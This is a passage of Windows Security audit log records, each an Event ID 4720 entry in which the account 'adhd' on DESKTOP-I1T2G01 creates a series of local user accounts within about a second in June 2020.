Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Elizabeth - adhd - - - 4720 - 4933 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.4678166Z'/><EventRecordID>4933</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Melissa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1148</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Melissa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Melissa - adhd - - - 4720 - 4927 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.3765503Z'/><EventRecordID>4927</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carolyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1147</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carolyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carolyn - adhd - - - 4720 - 4921 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.2949216Z'/><EventRecordID>4921</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Paul</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1146</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Paul</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Paul - adhd - - - 4720 - 4915 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.1948657Z'/><EventRecordID>4915</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Doris</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1145</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Doris</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Doris - adhd - - - 4720 - 4909 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.0468661Z'/><EventRecordID>4909</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Janet</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1144</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Janet</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Janet - adhd - - - 4720 - 4903 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.9466121Z'/><EventRecordID>4903</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Samuel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1143</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Samuel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Samuel - adhd - - - 4720 - 4897 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.8606671Z'/><EventRecordID>4897</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dylan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1142</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dylan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dylan - adhd - - - 4720 - 4891 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.7848945Z'/><EventRecordID>4891</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jordan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1141</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jordan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jordan - adhd - - - 4720 - 4885 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.6851157Z'/><EventRecordID>4885</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Janice</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1140</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Janice</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Janice - adhd - - - 4720 - 4879 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.6070834Z'/><EventRecordID>4879</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Angela</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1139</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Angela</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Angela - adhd - - - 4720 - 4873 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.5242420Z'/><EventRecordID>4873</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Marie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1138</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Marie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Marie - adhd - - - 4720 - 4867 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.4501905Z'/><EventRecordID>4867</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Richard</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1137</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Richard</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Richard - adhd - - - 4720 - 4861 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.3657489Z'/><EventRecordID>4861</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dorothy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1136</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dorothy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dorothy - adhd - - - 4720 - 4855 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.2860828Z'/><EventRecordID>4855</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ryan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1135</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ryan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ryan - adhd - - - 4720 - 4849 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.1160195Z'/><EventRecordID>4849</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Abigail</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1134</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Abigail</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Abigail - adhd - - - 4720 - 4843 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated 